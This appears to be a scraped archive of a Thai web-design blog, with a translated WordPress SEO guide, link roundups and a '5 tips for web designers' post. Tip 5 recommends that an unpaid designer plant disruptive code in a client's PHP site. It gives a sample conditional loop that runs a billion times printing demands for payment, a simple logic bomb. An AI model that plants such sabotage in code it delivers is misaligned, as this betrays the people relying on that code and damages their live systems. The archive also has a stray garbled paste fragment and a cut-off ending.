[WordPress] จูน WordPress ของคุณให้เข้ากับ SEO

LuviKunG — Sat, 07 May 2011 17:50:38 +0000

บทความนี้แปลเป็นภาษาไทยจากลิงค์นี้ : http://sixrevisions.com/wordpress/fine-tuning-wordpress-seo/
ทั้งนี้เพื่ออ่านให้เข้าใจและสะดวก ผมจึงแปลเป็นภาษาที่อ่านแล้วเข้าใจง่ายสำหรับคนไทย

เพียงไม่กี่ปีที่ผ่านมา การสร้างเว็บไซต์ส่วนตัวเริ่มเป็นมาตรฐานด้วยการเขียนแบบ HTML กับ CSS แต่รู้หรือไม่? ปัจจุบันนั้น เว็บไซต์ทั้งหมดกว่า 14% นั้นใช้ระบบเว็บไซต์ของ WordPress กันทั้งนั้น

เหตุผลเพราะระบบการจัดการรูปแบบต่างๆของ WordPress นั้นมีความกว้างขวางมากมายที่สามารถใช้ได้กับเว็บไซต์ได้แทบทุกประเภท

แต่เป้าหมายสูงสุดสำหรับผู้ใช้นั่นคือความต้องการที่สามารถปรับการทำงานให้ลงตัวเหมาะสมกับเว็บไซต์เพื่อที่จะสามารถใช้งานได้อย่างลงตัว

แต่ขณะที่ WordPress นั้นได้ขึ้นชื่อว่ามีระบบเชื่อมต่อ SEO ที่มีการเพิ่มประสิทธิภาพด้านการค้นหาเพื่อให้ระบบ SEO นั้นสามารถเข้าหาได้ดียิ่งขึ้น เราจะมาดูกันว่าวิธีการปรับแต่งเว็บไซต์ WordPress ของคุณให้มีประสิทธิภาพด้านการค้นหาให้มากยิ่งขึ้นนั้นต้องทำอย่างไรบ้าง

ระบบ Permalink Structure for URLs

คุณสามารถหาระบบนี้โดยการปรับที่ Setting > Permalinks ซึ่งระบบ Permalink นี้จะทำให้คุณสามารถสร้าง URL เฉพาะให้กับ WordPress ของคุณ

โดยปกติ หน้าตา URL ของโพสใน WordPress จะเป็นแบบนี้

http://example.com/?p=123

โดยมุมมองของระบบ SEO นั้น ไม่สามารถวิเคราะห์ URL รูปแบบนี้ได้ เพราะหัว URL นั้นไม่มีคีย์เวิร์ด

(คีย์เวิร์ด คือ คำคำหนึ่งที่เป็นคำสำคัญในบล็อคโพสนั้นๆ มีไว้เพื่อเชื่อมกับระบบการค้นหาแบบเล็กๆ จนไปถึงขนาดใหญ่)

ซึ่งบางระบบของ SEO ส่วนใหญ่จะมีผลกับโครงสร้าง URL แบบ single-level ของบล็อคโพส ยกตัวอย่างเช่นระหว่าง URL 2 อัน จากด้านล่างนี้

http://example.com/post-name/

กับ

http://example.com/post-category/post-name/

อันแรกเป็น URL แบบ single-level ของบล็อคโพส, เราสามารถปรับใน WordPress ตรงแผงเมนู Permalink คุณจะเห็นส่วนที่เขียนว่า Common settings ให้เลือกแบบ Custom Structure และใส่ข้อความนี้ลงไป

/%postname%/

เมื่อเลือกเสร็จแล้ว URL ของบล็อคโพสคุณจะขึ้นลักษณะนี้

http://example.com/post-name/

ระบบ Title Tag

แท็ค ในภาษา HTML นั้นมีความสำคัญต่อระบบของ SEO มาก เพราะเว็บเพจทุกหน้าย่อมต้องมีแท็ค <title> เสมอ ผลของระบบเซิร์จเอนจิ้นนั้น จะนำแท็ค <title> แสดงขึ้นในการค้นหา ยกตัวอย่างเช่น ลองเซิจสักคำใน Google ซึ่งผลที่ได้มาจะออกมาเป็นแบบนี้ เป็นเพราะระบบการค้นหาอันดับแรกนั้นจะขึ้นอยู่กับแท็ค <title> นั่นเอง เช่นที่ผมได้ทำการค้นหาคำว่า “designil” ลงไป ก็จะขึ้นเว็บของ DesigNIL.com ขึ้นมา ก็เพราะหัวแท็ค <title> นั้นมีคำว่า “DesigNIL” อยู่นั่นเอง <blockquote><head> <title>DesigNIL: Web Design HTML5 CSS3 Tutorial รวมความรู้เว็บดีไซน์ สอนออกแบบเว็บไซต์

โดยปกติระบบของ WordPress ตรงส่วนแท็ค นั้นจะขึ้นแบบ “ชื่อบล็อค » ชื่อโพส” และเป็นเช่นนั้น ระบบเซิร์จเอนจิ้นต่างๆก็จะค้นหาและเก็บข้อมูลไว้ สำหรับระบบเว็บ WordPress นั้น จะเป็น fronting-load keywords คือเมื่อเซิร์จเอนจิ้นทำการเก็บข้อมูล มันจะแยกผู้ใช้กับส่วนโพสออกจากกัน ดังนั้นเมื่อเวลาหาโพสใดๆจากเว็บหนึ่ง มันก็จะขึ้นผู้ใช้มาก่อนชื่อโพส นั่นเป็นคำตอบว่าทำไมถึงเอาชื่อโพสไว้ด้านหลังชื่อบล็อค เราสามารถเปลี่ยนรูปแบบของ <title> ได้ โดยทำการติดตั้งปลั๊คอินตัวเสริมชื่อ All in One SEO Pack ลงไปในระบบ ซึ่งในส่วนของเมนูปลั๊คอินนี้จะทำการเซ็ทแท็ค <title> ให้อัตโนมัติ เพื่อสามารถให้ระบบ SEO ค้นหาได้ง่ายขึ้น ซึ่งปลั๊คอิน All in One SEO Pack สามารถหาดาวโหลดได้ที่ <a href="http://wordpress.org/extend/plugins/all-in-one-seo-pack/" target="_blank">http://wordpress.org/extend/plugins/all-in-one-seo-pack/</a> <h2>Meta Tags</h2> Meta Tags หรือ เมต้าแท็ค คือคำอธิบายสั้นๆ ของหน้าเว็บหนึ่งนั้นที่เกี่ยวข้องกับการค้นหาและการแสดงผลลัพท์ ซึ่งคำเหล่านี้จะเป็นหลายๆ คีย์เวิร์ดจากหน้าเว็บมาแบ่งตัดทอนกัน เหมาะสมมากในการรวมคำหลักๆ ของหน้าเว็บที่คุณต้องการให้แสดงมาจัดลงในเมต้าแท็คเหล่านี้ เพื่อให้ระบบเซิร์จเอนจิ้นสามารถรวบรวมและค้นหาได้ง่ายขึ้น แต่อย่าลืมว่ามีข้อตกลงด้าน <a href="http://sixrevisions.com/content-strategy/user-friendly-seo/" target="_blank">Human-friendly, non-spammy way</a> อยู่ด้วย ซึ่งคีย์เวิร์ดที่จะนำมาอธิบายในหน้าเว็บนั้นควรอยู่ระหว่าง 150-160 ตัวอักษร ถ้ามากกว่านั้น ระบบเซิร์จเอนจิ้นจะตัดการค้นหานั้นออกไปหรือจนกว่าระยะเวลาการค้นหาของมันหมดลง ใน WordPress นั้น ไม่มีระบบการจัดการสร้างเมต้าแท็คแบบอัตโนมัติที่สมบูรณ์แบบ ซึ่งคำอธิบายที่ดีที่สุดคือ ควรพิมพ์ด้วยตัวเอง และรวมไปถึงวิธีต่างๆที่ได้กล่าวมาในบทความข้างต้นด้วย ซึ่งวิธีนี้จะทำให้คุณสามารถกำหนดคีย์เวิร์ดสำหรับแต่ละบทความ คุณสามารถใส่คีย์เวิร์ดในเมต้าแท็คบทบล็อคโพสเพื่อจัดคีย์เวิร์ดที่มีวลีสำคัญต่างๆ แต่ควรพิจารณาการจัดลำดับเซิร์จเอนจินซึ่ง Google ได้บอกไว้ว่า <a href="http://googlewebmastercentral.blogspot.com/2009/09/google-does-not-use-keywords-meta-tag.html" target="_blank">no longer takes meta keyword tags into account</a> แปลได้ว่า “จะไม่ให้ความสำคัญกับ meta keyword” ซึ่งหลายๆคนอาจกล่าวได้ว่า “มันอาจจะไม่สำคัญนักสำหรับการใช้เมต้าแท็คที่ยาว” แต่ยังมีระบบเซิร์จเอนจิ้นอื่นๆที่ใช้ระบบใกล้เคียงกับ Google อยู่ด้วย ซึ่งก็ใช้ระบบเมต้าแท็คคีย์เวิร์ดในการจัดอันดับเว็บไซต์เช่นกัน ดังนั้นผมแนะนำอย่างยิ่งในการใส่คีย์เวิร์ดอย่างรอบคอบและดีที่สุด ซึ่งเช่นกัน คุณสามารถสร้างเมต้าแท็คคีย์เวิร์ดตามต้องการโดยใช้ปลั๊คอิน All in One SEO Pack <h2>ใช้ noindex Meta Tag สำหรับหน้าที่ไม่ได้ใช้</h2> โดยค่าเริ่มต้นของ WordPress มีวิธีไม่กี่อย่างที่สามารถนำพาผู้ชมไปยังเนื้อหาของคุณ ทั้งนี้ขึ้นอยู่กับ Themes ของ WordPress ที่คุณใช้อยู่ด้วย และอาจจะตันกับเนื้อหาที่เหมือนหรือซ้ำกันในหน้านั้น ซึ่งไม่ดีต่อระบบ SEO สมมุติว่าคุณได้สร้างหน้าหมวดหมู่สำหรับบล็อคโพสหนึ่งใน URL <blockquote>http://example.com/category/my-category/</blockquote> กับหน้าที่เหมือนกันซึ่งดูได้จากตรงนี้ <blockquote>http://example.com/my-category/</blockquote> ซึ่งไม่ดีแน่ ดังนั้นคุณจะทำอย่างไรต่อไป? โดยการใช้ noindex HTML Meta Tag ทำให้คุณสามารถบอกเซิร์จเอนจิ้นว่า URL นี้ไม่ต้องจดจำไว้ ผลลัพท์คือช่วยลดโอกาสที่เว็บไซต์คุณจะโดนลงโทษในการจัดอันดับของเครื่องมือค้นหาสำหรับเนื้อหาที่เหมือนหรือซ้ำกัน (อาจหมายถึงทำให้เว็บของคุณตกอันดับ) วิธีที่ง่ายที่สุดที่จะแก้ปัญหานี้คือใช้ปลั้กอิน All in One SEO Pack อีกแล้ว ในปลั้กอินนั้นจะมีตัวเลือกให้คุณกำหนดค่า noindex HTML Meta Tag ได้สามอย่างคือ Categories, Archives และ Tag Archives <h2>ใช้ HTML Heading อย่างเหมาะสม</h2> ส่วนใหญ่แท็ค HTML ที่ใช้ส่วนหัวคือ <h1>, <h2> , … , <h6> เพื่อแยกส่วนของเนื้อหาออกจากหัวของบทความ เป็น วิธีที่ทำให้เนื้อหาของคุณอ่านง่ายขึ้น ไม่ใช่แค่นั้น ยังเป็นจุดสำคัญของการกำหนดคีย์เวิร์ดกับระบบจดจำเว็บไซต์ของเซิร์จเอนจิ้นต่างๆ ซึ่งแท็คส่วนหัวนี้มันมีค่ามากกว่าแท็ค HTML ทั่วๆไป (จำพวก หรือ <blockquote> เป็นต้นฯ) ซึ่งน่าแปลกที่ผู้สร้าง Themes ของ WordPress ปัจจุบันนี้ แทบทั้งหมดไม่ได้ให้ความสำคัญกับโครงสร้างเนื้อหาแบบที่ได้กล่าวข้างต้น จากมุมมองของระบบ SEO นั้น แท็ค <h1> เป็นหัวข้อที่สำคัญมากที่สุดและควรมีเพียงแท็คนี้แท็คเดียวในหน้าเว็บ รองลงมาคือ <h2> ซึ่งคุณสามารถมีได้หลายๆแท็คในหน้า จำพวกหัวข้อภายในเนื้อหา รองลงมาอีกคือ <h3> และ <h4> มีไว้เน้นเนื้อหาข้อความหรือแสดงข้อความให้ชัดเจนมากขึ้น (หรือเป็นข้อความคีย์เวิร์ด) ซึ่งนี่เป็นวิธีคล้ายๆกับการจัดโครงสร้างหน้าแบบนิตยสารต่างๆ หากคุณใช้ชุด Themes ของ WordPress ที่คุณไม่ได้สร้างขึ้นมาเอง ขอให้คุณตรวจสอบแม่แบบของ Themes นั้นๆ (เช่น header.php, single.php, post.php, home.php และ page.php) เพื่อให้มั่นใจว่าเขียนรูปแบบแท็ค HTML ที่ถูกต้องและจัดโครงสร้างให้อย่างดี <h2>ใช้ Sitemap XML</h2> <a href="http://www.sitemaps.org/" target="_blank">Sitemap XML</a> คือโปรโตคอลทั่วไปที่ใช้ในการสร้างอินเด็กซ์ของหน้าเว็บไซต์ ที่จะช่วยให้ระบบเซิร์จเอนจิ้นค้นพบและรวบรวมข้อมูลได้ง่ายขึ้น เราสามารถสร้าง Sitemap XML เองได้โดยง่าย แต่ถ้าเว็บไซต์ของคุณเป็นประเภทที่ต้องสร้างเนื้อหาใหม่อยู่ตลอดเวลา จะไม่ค่อยแนะนำที่จะใช้ระบบ Sitemap XML เพราะคุณต้องแก้ไขมันอย่างต่อเนื่อง ดังนั้นการใช้ปลั๊กอิน <a href="http://wordpress.org/extend/plugins/google-sitemap-generator/" target="_blank">Google XML Sitemaps</a> ของ WordPress นั้น จะช่วยสร้าง Sitemap XML ของเว็บไซต์โดยอัตโนมัติ แถมยังมีระบบแจ้งการอัพเดทด้วยอีกเมื่อระบบเซิร์จเอนจิ้นต่างๆได้เข้ามาดูการปรับปรุง XML ของเว็บไซต์คุณ </article> <article> <h1>[Inspiration] 45 เว็บขาย iPhone/iPad Apps สวยงามสุด ๆ !!</h1> designil — Fri, 21 Jan 2011 04:04:26 +0000 ถ้าใครเคยใช้สินค้าของ Apple มาก่อนน่าจะพอทราบกันนะครับว่าบริษัทนี้เน้นเรื่องการ ดีไซน์ มาเป็นอันดับต้น ๆ เลย ไม่ว่าจะเป็นสินค้าต่าง ๆ อย่าง Macbook หรือ iPhone ก็มีการดีไซน์ที่แม้จะเรียบง่าย แต่ก็ออกมาดูดี และใช้งานได้ดี ผมเองเคยใช้ Macbook มาแล้วหลายปีอยู่ (และไม่ได้ใช้แล้วครับ พังไปซะก่อน) ก็พบว่าตัว Software ของ Mac OS มีการดีไซน์ที่ดีมากครับ ก่อนจะใช้ Macbook ตัวนี้ผมก็ใช้ Windows มาก่อน พอมาเทียบกันพบว่าโปรแกรมใน Mac OS ดีไซน์ได้เรียบง่ายและน่าใช้กว่ามากครับ แค่อินเตอร์เฟซก็กินขาดแล้ว <div class='stb-info_box' >ที่เขียน ๆ มานี่ บอกตามตรงว่าผมไม่ได้เป็นสาวก Apple หรือได้ค่าโฆษณาอะไรทั้งนั้นนะคร้าบ ตอนนี้รัก DELL สุดใจครับ ประกัน Onsite ของเค้าดีจริง ๆ</div> อันนี้ให้เป็นความรู้เผื่อใครจะสนใจซื้อ Mac สักเครื่องมาใช้ครับ สำหรับ Software ออกแบบเว็บไซต์ หรือเอาไว้เขียนโค้ด HTML / CSS ในงานเว็บดีไซน์ มีโปรแกรมที่น่าสนใจดังต่อไปนี้เลยครับ เท่าที่ผมเคยใช้นะครับ: <ul> <li><a title="Panic Coda" rel="nofollow" href="http://www.panic.com/coda/" target="_blank">Coda – เขียนโค้ด PHP/HTML/CSS</a> โปรแกรมตัวนี้มี Autocomplete มี File Explorer มี FTP พร้อม</li> <li><a title="Espresso" rel="nofollow" href="http://macrabbit.com/espresso/" target="_blank">Espresso – เขียนโค้ด PHP/HTML/CSS</a> โปรแกรมนี้จะเน้นทำงานเป็น Project มี Autocomplete มี File Explorer แต่ FTP ของโปรแกรมนี้ใช้ยากสักหน่อยครับ</li> <li><a title="CSSEdit" rel="nofollow" href="http://macrabbit.com/cssedit/" target="_blank">CSSEdit – เขียนโค้ด CSS</a> โปรแกรมช่วยเขียน CSS โดยเฉพาะ จากเจ้าเดียวกับที่ทำ Espresso ครับ</li> </ul> ถ้าคลิกเข้าไปดูจะเห็นว่าความสามารถและการดีไซน์อินเตอร์เฟซแต่ละโปรแกรมน่าใช้กันสุด ๆ เลย แต่ความจริง (ที่น่าเศร้า) ของพวกนี้คือ มันเป็นโปรแกรมเสียตังค์ทั้งหมดเลยครับ T_T พวกโปรแกรมบน iPhone อินเตอร์เฟซนี่บางแอพก็ดีไซน์ออกมาได้ดีมากครับ ตัวอย่างเช่นโปรแกรมจดโน้ตชื่อ <a title="Awesome Note" rel="nofollow" href="http://www.bridworks.com/anote/en/main/index.php" target="_blank">AwesomeNote</a> เป็นโปรแกรมจดโน้ตที่ผมชอบมาก พอจดโน้ตในโปรแกรมสวย ๆ แล้วมันมีความสุขครับ วันนี้ผมรวบรวมเว็บไซต์ที่ขาย App ของ iPhone และ iPad สวย ๆ มาให้ชมกันครับ พวกนี้นอกจากแอพจะมีอินเตอร์เฟซน่าใช้แล้ว เว็บไซต์ขายแอพก็ดีไซน์ออกมาได้ดีด้วย ลองคลิกเข้าไปดู รับรองว่าต้องเจอเว็บที่ถูกใจอย่างน้อยสองสามเว็บแน่นอนครับ <a title="45 เว็บไซต์แอพ iPhone iPad" rel="nofollow" href="http://www.onextrapixel.com/2011/01/19/45-interesting-beautiful-ipad-iphone-apps-websites/" target="_blank"> <div class='stb-black_box' >45 เว็บขาย iPhone/iPad Apps สวยงามสุด ๆ คลิกเลย!</div> </a> </article> <article> <h1>[Inspiration] รวมเว็บดีไซน์สวย ๆ ฉลอง FIFA World Cup 2010</h1> designil — Mon, 21 Jun 2010 11:27:01 +0000 วันนี้เว็บไซต์ของเราก็มาเกาะกระแสบอลโลกกันบ้างครับ เห็นว่าหลายเว็บไซต์ได้ดีไซน์หน้าตาออกมาต้อนรับ Fifa World Cup 2010 มากมาย แม้แต่เว็บไซต์ดัง ๆ อย่าง Twitter, EA, หรือ Sony ก็ทำออกมาเช่นกันครับ โดยมีทั้งเว็บไซต์ที่ทำด้วยเทคนิค <a title="jQuery" href="http://www.designil.com/tag/jquery" target="_blank">jQuery</a> และ Flash เลยครับ และสำหรับใครที่ทำสคริปต์เกี่ยวกับฟุตบอลโลกขายอยู่ ก็ลองเอาไปเป็นแนวทางดูได้ครับ~! ลองเข้าไปดูกันนะครับ <a title="FIFA World Cup 2010 Website Design Inspiration" href="http://www.webdesignerdepot.com/2010/06/the-best-website-designs-of-the-2010-world-cup/" target="_blank">รวมเว็บดีไซน์สวย ๆ ฉลอง FIFA World Cup 2010</a> </article> <article> <h1>[Webdesign ETC] 5 ข้อสำหรับการเป็นเว็บดีไซน์เนอร์</h1> LuviKunG — Tue, 01 Jun 2010 15:26:56 +0000 ในหัวข้อนี้จะอธิบายเกี่ยวกับการเป็น<a title="เว็บดีไซน์" href="http://www.designil.com/tag/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%94%E0%B8%B5%E0%B9%84%E0%B8%8B%E0%B8%99%E0%B9%8C" target="_blank">เว็บดีไซน์</a>เนอร์ที่มีคุณภาพ หรือการเป็นเว็บดีไซน์เนอร์ที่ทำงานแล้วมีความผิดพลาดน้อยและมีความรอบคอบในการทำงานสูง โดยผมได้แจกแจง 5 ข้อสำหรับการเป็นเว็บดีไซน์เนอร์ ไว้ให้ผู้อ่านได้ทำความเข้าใจได้ง่ายขึ้นไว้แล้ว ผู้อ่านสามารถนำตัวอย่างที่อยู่ภายใน 5 ข้อนี้ไปใช้ได้โดยไม่ต้องได้รับอนุญาติจากผู้เขียน แต่ขอความกรุณาเอาไปใช้ในทางที่ถูกต้องด้วยครับ มาเริ่มกันเลยดีกว่า กับ 5 ข้อสำหรับการเป็นเว็บดีไซน์เนอร์ ว่ามีอะไรกันบ้าง? 1.ทำงานให้ดี อันนี้ใกล้ตัวกับทุกคนมาก ข้อแรกคือคนที่ทำงานด้านดีไซน์ไม่เป็นมักจะใช้โค๊ดที่สิ้นเปลืองเนื้อที่(หมายถึงขนาดไฟล์ก็ใหญ่เพิ่มไปด้วย) ข้อที่สองคือทำงานโดยไม่สนใจความผิดพลาดของโค๊ด(แบบว่า กุทำแบบนี้มีปัญหาไรฟ่ะ!) และอันดับสุดท้ายคือเลือกใช้โค๊ดไม่เป็น(มือใหม่มักจะเป็นกันแทบทั้งหมด) ซึ่งผมได้ยกตัวอย่างให้ท่านสังเกตไว้ด้านล่าง ตัวอย่างที่ไม่ดี <pre class="brush: php; title: ; notranslate"> โปรดเลือกอายุ <select name="age"> <option value="0">0</option> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> ... ... ... <option value="97">97</option> <option value="98">98</option> <option value="99">99</option> <option value="100">100</option> </select> </pre> ตัวอย่างที่ดี <pre class="brush: php; title: ; notranslate"> โปรดเลือกอายุ <select name="age"> <?php for ($i=0;$i<=100;$i++) { echo "\t<option value=\"{$i}\">{$i}</option>\r\n"; } ?> </select> </pre> ซึ่งผลออกมาก็มีความเหมือนกันทุกประการ เพียงแต่เรียงลำดับ ใช้โค๊ดให้ถูกต้อง 2.เลือกโปรแกรมให้ถูก เว็บดีไซน์เนอร์มักมีปัญหาเรื่องการเลือกใช้โปรแกรมและการเรียนรู้โปรแกรมที่ถูกต้อง ประเด็นไม่ได้อยู่ที่ตัวโปรแกรม แต่อยู่ที่ความถนัดของเว็บดีไซน์เนอร์ว่าคุณถนัดโปรแกรมอะไร เลือกใช้โปรแกรมอะไร ซึ่งบางโปรแกรมถ้าเว็บดีไซน์เนอร์เลือกไม่ดี อาจเกิดบัคขึ้นได้ หรืออาจเกิดปัญหาด้านการใช้งานไม่สะดวก เช่น การเซฟไฟล์ซึ่งมีการเซฟแบบ ASCII กับ UTF-8 ซึ่งคุณก็ต้องพิจารณาความแตกต่างระหว่างการเซฟ 2 แบบนี้ด้วย(ลองเปิด Notepad แล้วเซฟไฟล์ดู จะมีให้เลือกด้านล่างว่าจะเซฟเป็นแบบไหน) หรืออาจเป็นการเลือกชนิดไฟล์ของภาพ ซึ่งส่วนใหญ่มักจะใช้ JPG GIF และ PNG เป็นหลัก อย่าใช้ความถนัดโปรแกรมแค่ 1 อย่าง พยายามเรียนรู้โปรแกรมอื่นๆไว้เพื่อคุณจะได้มีความหลากหลายในการดีไซน์ หรือเพิ่มความยืดหยุ่นให้กับทักษะของตน เช่น ถ้าคุณถนัด <a title="Photoshop" href="http://www.designil.com/category/webdesign/webdesign-photoshop" target="_blank">Photoshop</a> แล้ว ลองหัดโปรแกรมอื่นๆไว้ด้วย เช่น Firework, Namo Web Canvas, Inkscape เป็นต้นฯ 3.มีความรู้ด้านดีไซน์เนอร์ เรียกว่าสำคัญที่สุดเลย คุณจะต้องรู้เรื่องเกี่ยวกับทุกด้านในการทำเว็บไซน์หรือกราฟฟิกดีไซน์เนอร์ด้วย เช่น คุณจะต้องตอบได้ว่า JPG คืออะไร, เป็นไฟล์แบบไหน, มีคุณสมบัติอย่างไร, ต่างกับ GIF และ PNG อย่างไร หรือคุณจะต้องรู้ว่า <a title="HTML5" href="http://www.designil.com/category/coding/html5" target="_blank">HTML </a>ย่อมาจากอะไร, tag ใน HTML คืออะไร, <pre> ใว้ใช้ทำอะไร เป็นต้นฯ ง่ายๆคือคุณต้องหมั่นศึกษาเกี่ยวกับเว็บดีไซน์และกราฟฟิกดีไซน์ตามช่องทางต่างๆ เดี๋ยวนี้คุณไม่จำเป็นต้องซื้อหนังสือมานั่งอ่านที่บ้านอีกแล้ว ในอินเตอร์เน็ทมีการสนับสนุนผู้สนใจศึกษาด้านเว็บดีไซน์เป็นร้อยๆเว็บไซท์ รวมไปถึงกราฟฟิกดีไซน์เนอร์ซึ่งจะมีผู้เชี่ยวชาญด้านกราฟฟิกมาตอบปัญหาตามกระทู้เว็บบอร์ดต่างๆอีกด้วย (ผมจะอ้างอิงเว็บไซท์ที่มีการสอนให้ไว้ท้ายบทความนะครับ) 4.วางแผนการทำงาน ถ้าคุณจำเป็นต้องทำงานที่มีการสร้างเว็บเพจหลายๆหน้า หรือเขียนระบบ PHP ออกมาขนาดใหญ่ ประเด็นนี้จะสำคัญ คุณจะต้องมีกระดาษและปากกา ในการวาดรูปตารางหรือวาดมายน์แมพ(Mind Map)ขึ้นมาและเริ่มวางแผน เรียงลำดับ จัดความสำคัญ และเริ่มลงมือทำตามแผนที่คุณเขียนไว้ ถ้าคุณได้วางแผนไว้ดี ผลงานของคุณก็จะออกมาดีตามด้วย แต่ผมเชื่อว่ายังไงก็ต้องมีข้อผิดพลาดอยู่บ้างอย่างแน่นอน พยายามค่อยๆแก้ไปเรื่อยๆจนกว่าผลงานของคุณจะไร้ที่ติ! ถ้าคุณไม่รู้ว่าจะเริ่มวางแผนยังไง ลองคิดดูว่าส่วนไหนของเว็บไซท์หรือ PHP ที่คุณต้องเขียนและสำคัญที่สุด เช่น อาจเป็นไฟล์หน้าแรก (index.htm / index.php) หรืออาจเป็นการดีไซน์หน้าเว็บก็จัดลำดับ 4 ขั้นตอน (head / menu / content / footer) เป็นต้นฯ แล้วค่อยๆเริ่มขยายความไปเรื่อยๆ จนคุณคิดว่าคุณได้วางแผนงานของคุณเสร็จเรียบร้อยแล้ว! 5.วางยาหลอก ดูเหมือนว่าวิธีนี้จะชั่วนิดหน่อย(หรืออาจจะมาก?) แต่เป็นวิธีที่ดีมากๆครับ เวลาคุณทำงานพวกดีไซน์แล้วคุณโดนเจ้านายงานหลอกหรือโดนโกง อย่างน้อยคุณก็ยังใช้ทริกส์นี้ได้ครับ ยกตัวอย่างง่ายๆเช่น คุณสร้างเว็บไซท์ PHP ขึ้นมาสมบูรณ์ แล้วส่งงานให้เจ้านายงาน แล้วเขาไม่จ่ายเงินคุณค่าทำ คุณก็วางยาโดยการอาจใส่โค๊ดบัคใน PHP ที่คุณทำ หรือจงใจเขียนโค๊ดที่ทำให้ PHP นั้นไม่ทำงาน แล้วสั่งให้มันทำงานปั่นป่วนภายในเว็บไซท์ที่ได้อัพโหลดไว้ ยกตัวอย่าง Code PHP ที่ไว้วางยา โดยภายในไฟล์ config.php นั้นต้อมีค่า $buy ไว้ อาจเป็นค่า null ก็ได้ (หมายถึงถูกเซตไว้อยู่ดี) <pre class="brush: php; title: ; notranslate"> <?php include('config.php'); /* เรียกไฟล์ที่มีค่า $buy เก็บไว้เวลามันไม่จ่ายเงิน */ if (isset($buy)) { /* ถ้า $buy ถูกเซ็ตไว้ */ for ($i=0;$i<=1000000000;$i++) { /* สั่ง Loop สัก 1 พันล้านครั้งให้มันทวงเงิน */ if ($i == 0) { echo "จ่ายเงินสิโว้ย!! "; } else { echo "ไม่จ่าย โค๊ดนี้ก็ยังอยู่นะโว้ย!! "; /* ให้มันสลับคำพูดไปมาเรื่อยๆจนมันครบ 1 พันล้านครั้ง */ } } } ?> </pre> การเป็นเว็บดีไซน์เนอร์ที่ดีนั้น ไม่จำเป็นต้องพึ่งพาทั้ง 5 ข้อนี้ก็ได้ เพราะยังมีอีกหลายวิธีที่สามารถทำให้เราเป็นเว็บดีไซน์เนอร์ที่ดีได้ อีกอย่างควรพึงระลึกความถูกต้องเข้าไว้ ชีวิตในการทำงานด้านเว็บดีไซน์เนอร์ของคุณก็จะรุ่งเรืองเองครับ และข้อที่สำคัญ เชื่อมั่นในตัวเองและผลงานของตัวเองไว้ ถ้าใจคิดว่างานของตนยังไม่ดีพอ ก็เริ่มลงมือพยายามแก้ไขงานของตนให้พึงพอใจอย่างที่ใจคิดไว้ และข้อที่สำคัญที่สุดคือ อย่ากลัวที่จะเรียนรู้สิ่งใหม่ๆครับ LuviKunG PS : <a rel="nofollow" href="http://w3schools.com/">http://w3schools.com/</a> เว็บสอนเกี่ยวกับการทำเว็บไซท์ครับ มีครบทุกภาษา เช่น HTML, HTML5, XHTML, CSS, PHP, ASP, JavaScript, MySQL และอีกหลายอย่าง ถ้าสนใจศึกษาลองทนอ่านภาษาอังกฤษดูนะครับ เว็บนี้สอนเข้าใจง่ายสุดแล้วครับ <div id="_mcePaste" style="position: absolute; left: -10000px; top: 356px; width: 1px; height: 1px; overflow: hidden;">â»Ã´àÅ×Í¡ÍÒÂØ <select name=”age”> <option value=”0″>0</option> <option value=”1″>1</option> <option value=”2″>2</option> <option value=”3″>3</option> … … … <option value=”97″>97</option> <option value=”98″>98</option> <option value=”99″>99</option> <option value=”100″>100</option> </select></div> </article> <article> <h1>[Blog Design] 60 บลอคเวิร์ดเพรสดีไซน์แปลก ๆ</h1> designil — Thu, 18 Mar 2010 19:11:59 +0000 ช่วงนี้เว็บไซด์ DesigNIL กำลังอยู่ในช่วง Redesign ครับ การรีดีไซน์เรียกง่าย ๆ ว่าออกแบบเว็บใหม่นั่นเอง ซึ่งหลังรีดีไซน์ก็จะมีการเพิ่มส่วนใหม่ ๆ ของเว็บไซด์ลงไปด้วย ซึ่งจะเป็นส่วนอะไรนั้นขออุบไว้ก่อนครับ สาเหตุที่รีดีไซน์ก็เพราะว่าคิดว่าธีมเก่าที่ใช้อยู่ไม่เร้าใจครับ ตอบโจทย์ได้ไม่ดีพอ (ว่าไปนั่น) ก็รอดูละกันนะครับว่าดีไซน์ใหม่จะถูกใจหรือไม่ถูกใจยังไง วันนี้เลยเอาดีไซน์บลอคเวิร์ดเพรสแปลก ๆ และสวยงามมาให้ดูกัน เผื่อจะได้ไอเดียเอาไปรีดีไซน์บลอคตัวเองกันบ้างครับ ต้องอย่าลืมว่า “บลอคดีไซน์” ต่างกับการดีไซน์เว็บธรรมดานิดหน่อยครับ เพราะสิ่งที่เราต้องการนำเสนอ คือ เนื้อหาเว็บไซด์ เราต้องทำให้คนอ่านเนื้อหาได้ง่าย อยากคอมเม้นท์ อยากแอด RSS Feed เอาไว้อ่านต่อ ซึ่งจะต่างกับเว็บขายบริการ/สินค้าที่ดีไซน์ให้เว็บเตะตาคนเข้าครั้งแรก ใช้สีเด่น ๆ โดยไม่ต้องสนใจมากว่าถ้าอ่านเนื้อหาในเว็บนั้นนาน ๆ คนอ่านจะเมื่อยตาไหม (เพราะไม่มีอะไรให้อ่านเยอะอยู่แล้วด้วย) <a title="บลอคดีไซน์สวย ๆ" rel="nofollow" href="http://www.noupe.com/wordpress/60-unusual-wp-blog-designs.html" target="_blank">>> ดู 60 ดีไซน์เวิร์ดเพรสสวย ๆ ที่นี่!! <<</a> สุดท้ายนี้ขอประกาศหน่อยครับว่าต่อจากนี้ไปเว็บไซด์เกี่ยวกับ<a title="เว็บดีไซน์" href="http://www.designil.com/" target="_blank">เว็บดีไซน์</a>แห่งนี้จะให้ข้อมูลเกี่ยวกับ: <ul> <li>เว็บดีไซน์พื้นฐาน <a title="สอน css" href="http://www.designil.com/tag/basic-css" target="_blank">สอน CSS</a>/XHTML พื้นฐานแบบคนไม่เป็นอะไรเลย</li> <li>ทิปและเทคนิคเว็บดีไซน์ เหมาะกับคนที่พอเป็น XHTML/CSS แล้ว รวมถึงสอนออกแบบเว็บไซด์จาก<a title="Photoshop" href="http://www.designil.com/tag/photoshop" target="_blank">โฟโต้ช็อป</a>จนถึงโค้ดแบบ Step by Step เลย</li> <li>รวมเว็บสวย ๆ ดีไซน์เจ๋ง ๆ เอามาให้ดูเป็น Inspiration</li> <li>แจกของฟรี แนะนำเว็บที่มีเครื่องมือดีไซน์ฟรีให้ใช้</li> </ul> และจะเพิ่มของต่าง ๆ ไปใน<a title="เว็บบอร์ดเว็บดีไซน์" href="http://www.designil.com/forum/" 